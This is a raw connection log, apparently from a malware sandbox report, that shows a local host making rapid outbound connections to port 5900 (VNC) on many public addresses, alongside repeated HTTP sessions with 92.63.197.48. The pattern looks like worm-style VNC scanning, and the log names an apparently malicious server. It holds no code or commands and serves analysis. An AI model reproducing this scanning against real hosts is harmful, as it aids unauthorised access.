Oct 30, 2018 14:45:15.147183895 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.147211075 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.147267103 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:15.177881002 CET	51536	5900	192.168.1.81	187.254.17.64
Oct 30, 2018 14:45:15.177927971 CET	51537	5900	192.168.1.81	90.222.249.220
Oct 30, 2018 14:45:15.177947044 CET	51538	5900	192.168.1.81	40.223.227.187
Oct 30, 2018 14:45:15.287475109 CET	51540	5900	192.168.1.81	140.55.210.122
Oct 30, 2018 14:45:15.287527084 CET	51541	5900	192.168.1.81	78.246.8.54
Oct 30, 2018 14:45:15.287544966 CET	51542	5900	192.168.1.81	39.137.232.141
Oct 30, 2018 14:45:15.328870058 CET	51608	5900	192.168.1.81	120.23.229.181
Oct 30, 2018 14:45:15.341516018 CET	51609	5900	192.168.1.81	183.48.117.97
Oct 30, 2018 14:45:15.381361008 CET	51545	5900	192.168.1.81	84.159.215.104
Oct 30, 2018 14:45:15.381412029 CET	51546	5900	192.168.1.81	107.4.31.121
Oct 30, 2018 14:45:15.381429911 CET	51547	5900	192.168.1.81	57.23.167.232
Oct 30, 2018 14:45:15.460304976 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.460455894 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:15.490741968 CET	51549	5900	192.168.1.81	63.80.117.31
Oct 30, 2018 14:45:15.525373936 CET	5900	51303	70.5.99.205	192.168.1.81
Oct 30, 2018 14:45:15.584064960 CET	51551	5900	192.168.1.81	78.143.66.43
Oct 30, 2018 14:45:15.584131956 CET	51553	5900	192.168.1.81	108.170.40.36
Oct 30, 2018 14:45:15.584151030 CET	51554	5900	192.168.1.81	93.89.170.149
Oct 30, 2018 14:45:15.584166050 CET	51557	5900	192.168.1.81	91.24.32.206
Oct 30, 2018 14:45:15.649979115 CET	5900	51608	120.23.229.181	192.168.1.81
Oct 30, 2018 14:45:15.650120974 CET	51608	5900	192.168.1.81	120.23.229.181
Oct 30, 2018 14:45:15.677671909 CET	51560	5900	192.168.1.81	187.34.56.113
Oct 30, 2018 14:45:15.677731037 CET	51561	5900	192.168.1.81	145.124.7.17
Oct 30, 2018 14:45:15.772213936 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.772291899 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:15.787630081 CET	51563	5900	192.168.1.81	136.37.73.98
Oct 30, 2018 14:45:15.787673950 CET	51564	5900	192.168.1.81	113.189.155.44
Oct 30, 2018 14:45:15.787691116 CET	51565	5900	192.168.1.81	171.44.137.11
Oct 30, 2018 14:45:15.880783081 CET	51567	5900	192.168.1.81	81.89.255.150
Oct 30, 2018 14:45:15.880829096 CET	51568	5900	192.168.1.81	55.101.193.251
Oct 30, 2018 14:45:15.880842924 CET	51569	5900	192.168.1.81	117.30.149.179
Oct 30, 2018 14:45:15.900269032 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.900346041 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:15.961412907 CET	51571	5900	192.168.1.81	197.26.74.29
Oct 30, 2018 14:45:15.961491108 CET	51572	5900	192.168.1.81	193.48.57.149
Oct 30, 2018 14:45:15.978171110 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:15.992219925 CET	51574	5900	192.168.1.81	85.194.93.100
Oct 30, 2018 14:45:16.031728029 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.031757116 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.031773090 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.031786919 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.031801939 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.031822920 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:16.031826973 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.031845093 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.031862020 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.031878948 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.031902075 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.031934977 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:16.037432909 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:16.083825111 CET	51575	5900	192.168.1.81	70.25.63.3
Oct 30, 2018 14:45:16.083858967 CET	51576	5900	192.168.1.81	87.162.181.164
Oct 30, 2018 14:45:16.083873034 CET	51577	5900	192.168.1.81	67.120.190.134
Oct 30, 2018 14:45:16.083884001 CET	51578	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:16.084980011 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.085022926 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.085027933 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.085066080 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.085093021 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:16.085144997 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.085165024 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.085190058 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.085207939 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.085221052 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:16.085225105 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.085242987 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.085267067 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.085295916 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.085315943 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:16.085336924 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.085376024 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.085397959 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.085397959 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:16.085418940 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.085438967 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.085459948 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.085479021 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:16.090600014 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.090641022 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.090696096 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:16.139287949 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.139322042 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.139339924 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.139370918 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.139388084 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.139389992 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:16.139416933 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.139445066 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.139487028 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:16.139497042 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.139539957 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:16.139543056 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.139564991 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.139585972 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:16.141467094 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:16.144303083 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.144335032 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.144459963 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:16.178447962 CET	51579	5900	192.168.1.81	71.245.128.226
Oct 30, 2018 14:45:16.178570032 CET	51580	5900	192.168.1.81	150.176.163.20
Oct 30, 2018 14:45:16.178595066 CET	51581	5900	192.168.1.81	62.177.29.195
Oct 30, 2018 14:45:16.287126064 CET	51582	5900	192.168.1.81	132.52.156.183
Oct 30, 2018 14:45:16.287175894 CET	51584	5900	192.168.1.81	87.209.175.6
Oct 30, 2018 14:45:16.287190914 CET	51585	5900	192.168.1.81	32.88.209.91
Oct 30, 2018 14:45:16.287204027 CET	51586	5900	192.168.1.81	134.182.125.12
Oct 30, 2018 14:45:16.344168901 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.344219923 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:16.381125927 CET	51587	5900	192.168.1.81	37.60.236.26
Oct 30, 2018 14:45:16.381182909 CET	51588	5900	192.168.1.81	108.21.34.119
Oct 30, 2018 14:45:16.452253103 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:16.452311039 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:16.490566015 CET	51589	5900	192.168.1.81	79.65.241.31
Oct 30, 2018 14:45:16.490602016 CET	51590	5900	192.168.1.81	65.244.141.82
Oct 30, 2018 14:45:16.490627050 CET	51591	5900	192.168.1.81	30.145.101.26
Oct 30, 2018 14:45:16.490638971 CET	51593	5900	192.168.1.81	81.188.209.76
Oct 30, 2018 14:45:16.584189892 CET	51594	5900	192.168.1.81	80.50.75.193
Oct 30, 2018 14:45:16.584259033 CET	51595	5900	192.168.1.81	47.85.201.126
Oct 30, 2018 14:45:16.584275007 CET	51596	5900	192.168.1.81	174.46.105.102
Oct 30, 2018 14:45:16.678884029 CET	51597	5900	192.168.1.81	117.81.5.81
Oct 30, 2018 14:45:16.678927898 CET	51598	5900	192.168.1.81	67.204.97.21
Oct 30, 2018 14:45:16.787288904 CET	51599	5900	192.168.1.81	106.50.138.216
Oct 30, 2018 14:45:16.787322998 CET	51600	5900	192.168.1.81	140.84.153.70
Oct 30, 2018 14:45:16.787338018 CET	51601	5900	192.168.1.81	203.181.231.222
Oct 30, 2018 14:45:16.851932049 CET	51610	5900	192.168.1.81	113.76.81.174
Oct 30, 2018 14:45:16.852086067 CET	51611	5900	192.168.1.81	208.225.236.195
Oct 30, 2018 14:45:16.881422997 CET	51602	5900	192.168.1.81	117.228.246.39
Oct 30, 2018 14:45:16.881470919 CET	51603	5900	192.168.1.81	79.46.18.222
Oct 30, 2018 14:45:16.881485939 CET	51604	5900	192.168.1.81	78.92.100.102
Oct 30, 2018 14:45:16.991295099 CET	51605	5900	192.168.1.81	43.123.150.41
Oct 30, 2018 14:45:17.016279936 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:17.016366959 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:17.084512949 CET	51606	5900	192.168.1.81	95.79.168.151
Oct 30, 2018 14:45:17.440464020 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:17.440570116 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:17.787245035 CET	51607	5900	192.168.1.81	177.138.148.168
Oct 30, 2018 14:45:17.852485895 CET	51612	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:17.852627039 CET	51613	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:17.858814955 CET	5900	51310	177.219.203.44	192.168.1.81
Oct 30, 2018 14:45:18.096812010 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:18.096904039 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:18.126974106 CET	5900	51613	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:18.127079964 CET	51613	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:18.146301031 CET	5900	51612	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:18.146398067 CET	51612	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:18.367728949 CET	51614	5900	192.168.1.81	82.55.102.245
Oct 30, 2018 14:45:18.367950916 CET	51615	5900	192.168.1.81	82.55.102.245
Oct 30, 2018 14:45:18.368258953 CET	51616	5900	192.168.1.81	82.55.102.245
Oct 30, 2018 14:45:18.368379116 CET	51617	5900	192.168.1.81	82.55.102.245
Oct 30, 2018 14:45:18.368505001 CET	51618	5900	192.168.1.81	82.55.102.245
Oct 30, 2018 14:45:18.368602991 CET	51619	5900	192.168.1.81	82.55.102.245
Oct 30, 2018 14:45:18.368699074 CET	51620	5900	192.168.1.81	82.55.102.245
Oct 30, 2018 14:45:18.381391048 CET	51609	5900	192.168.1.81	183.48.117.97
Oct 30, 2018 14:45:18.432482004 CET	5900	51613	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:18.433247089 CET	5900	51613	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:18.438935995 CET	5900	51612	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:18.466918945 CET	51613	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:18.467127085 CET	51612	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:18.741579056 CET	5900	51613	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:18.741859913 CET	5900	51613	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:18.742043018 CET	5900	51613	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:18.742095947 CET	51613	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:18.760458946 CET	5900	51612	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:18.760497093 CET	5900	51612	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:18.760564089 CET	51612	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:18.760606050 CET	51612	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:18.842638016 CET	51613	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:18.842796087 CET	51612	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:18.970915079 CET	5900	51608	120.23.229.181	192.168.1.81
Oct 30, 2018 14:45:19.046891928 CET	5900	51613	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:19.046978951 CET	51613	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:19.053277969 CET	5900	51612	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:19.053355932 CET	51612	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:19.179646015 CET	51621	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:19.179791927 CET	51622	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:19.335596085 CET	51623	5900	192.168.1.81	120.23.229.181
Oct 30, 2018 14:45:19.401979923 CET	5900	51621	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:19.402107000 CET	51621	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:19.473833084 CET	5900	51622	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:19.476269007 CET	51622	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:19.581182957 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:19.581295013 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:19.662051916 CET	5900	51621	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:19.662507057 CET	5900	51621	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:19.669035912 CET	5900	51623	120.23.229.181	192.168.1.81
Oct 30, 2018 14:45:19.669328928 CET	51623	5900	192.168.1.81	120.23.229.181
Oct 30, 2018 14:45:19.769978046 CET	5900	51622	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:19.880845070 CET	51610	5900	192.168.1.81	113.76.81.174
Oct 30, 2018 14:45:19.880908012 CET	51611	5900	192.168.1.81	208.225.236.195
Oct 30, 2018 14:45:19.880928040 CET	51621	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:19.912894011 CET	51621	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:19.913244009 CET	51622	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:20.173950911 CET	5900	51621	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:20.174087048 CET	5900	51621	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:20.174392939 CET	5900	51621	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:20.174467087 CET	51621	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:20.204340935 CET	51621	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:20.204407930 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:20.204505920 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:20.210164070 CET	5900	51622	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:20.210720062 CET	5900	51622	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:20.210796118 CET	51622	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:20.394804001 CET	51622	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:20.481034994 CET	5900	51621	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:20.481249094 CET	51621	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:20.506273985 CET	5900	51622	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:20.506395102 CET	51622	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:21.381068945 CET	51614	5900	192.168.1.81	82.55.102.245
Oct 30, 2018 14:45:21.381124973 CET	51615	5900	192.168.1.81	82.55.102.245
Oct 30, 2018 14:45:21.381144047 CET	51616	5900	192.168.1.81	82.55.102.245
Oct 30, 2018 14:45:21.381160021 CET	51617	5900	192.168.1.81	82.55.102.245
Oct 30, 2018 14:45:21.381175995 CET	51618	5900	192.168.1.81	82.55.102.245
Oct 30, 2018 14:45:21.381192923 CET	51619	5900	192.168.1.81	82.55.102.245
Oct 30, 2018 14:45:21.381208897 CET	51620	5900	192.168.1.81	82.55.102.245
Oct 30, 2018 14:45:22.084415913 CET	51578	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:22.131230116 CET	5900	51578	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:22.131378889 CET	51578	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:22.178137064 CET	5900	51578	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:22.610956907 CET	51624	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:22.656130075 CET	5900	51624	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:22.656286955 CET	51624	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:22.701720953 CET	5900	51624	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:23.002981901 CET	5900	51623	120.23.229.181	192.168.1.81
Oct 30, 2018 14:45:23.360881090 CET	51625	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:23.393003941 CET	51626	5900	192.168.1.81	120.23.229.181
Oct 30, 2018 14:45:23.394350052 CET	51627	5900	192.168.1.81	63.44.30.134
Oct 30, 2018 14:45:23.506383896 CET	51628	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:23.507791996 CET	61156	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:23.725750923 CET	5900	51626	120.23.229.181	192.168.1.81
Oct 30, 2018 14:45:23.725893021 CET	51626	5900	192.168.1.81	120.23.229.181
Oct 30, 2018 14:45:23.757260084 CET	5900	51628	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:23.757373095 CET	51628	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:23.804707050 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:23.804874897 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:23.876000881 CET	51629	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:24.064625025 CET	5900	51628	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:24.065150023 CET	5900	51628	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:24.076735973 CET	51628	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:24.171283007 CET	5900	51629	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:24.171454906 CET	51629	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:24.289349079 CET	51630	5900	192.168.1.81	151.55.81.113
Oct 30, 2018 14:45:24.364214897 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.364376068 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:24.372291088 CET	5900	51628	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:24.372795105 CET	5900	51628	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:24.373121023 CET	5900	51628	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:24.373183966 CET	51628	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:24.373281956 CET	51628	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:24.469965935 CET	5900	51629	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:24.469995975 CET	5900	51629	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:24.470057964 CET	51629	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:24.470470905 CET	51629	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:24.496694088 CET	51631	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:24.655889034 CET	61156	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:24.688843966 CET	53	61156	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:24.719091892 CET	5900	51631	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:24.719253063 CET	51631	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:24.764647961 CET	5900	51629	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:24.764807940 CET	5900	51629	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:24.767213106 CET	5900	51629	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:24.767303944 CET	51629	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:24.779565096 CET	51629	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:24.788249016 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:24.841901064 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.841933012 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.841949940 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.841965914 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.841981888 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.841998100 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.842014074 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.842036963 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.842056036 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.842070103 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:24.842075109 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.849927902 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:24.859241962 CET	51632	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:24.861534119 CET	51633	5900	192.168.1.81	139.63.4.90
Oct 30, 2018 14:45:24.895845890 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.895881891 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.895901918 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.895921946 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.895948887 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.895978928 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.896001101 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.896013021 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:24.896023989 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.896048069 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.896070004 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.896091938 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.896136045 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.896181107 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:24.903199911 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.903269053 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.903286934 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:24.903307915 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.903362036 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.903376102 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:24.903405905 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.903445005 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.903467894 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:24.903475046 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.903500080 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.903537035 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:24.949374914 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.949425936 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.949441910 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.949472904 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.949487925 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.949517012 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:24.949518919 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.949548006 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.949582100 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.949601889 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.949615955 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.949632883 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.949651957 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.949664116 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:24.949670076 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.949688911 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.949707985 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.949723005 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.949739933 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.949754000 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.949770927 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.949775934 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:24.949786901 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.949805975 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.949820995 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.949839115 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.949846983 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:24.949856997 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.949917078 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:24.956944942 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.956991911 CET	80	51583	92.63.197.48	192.168.1.81
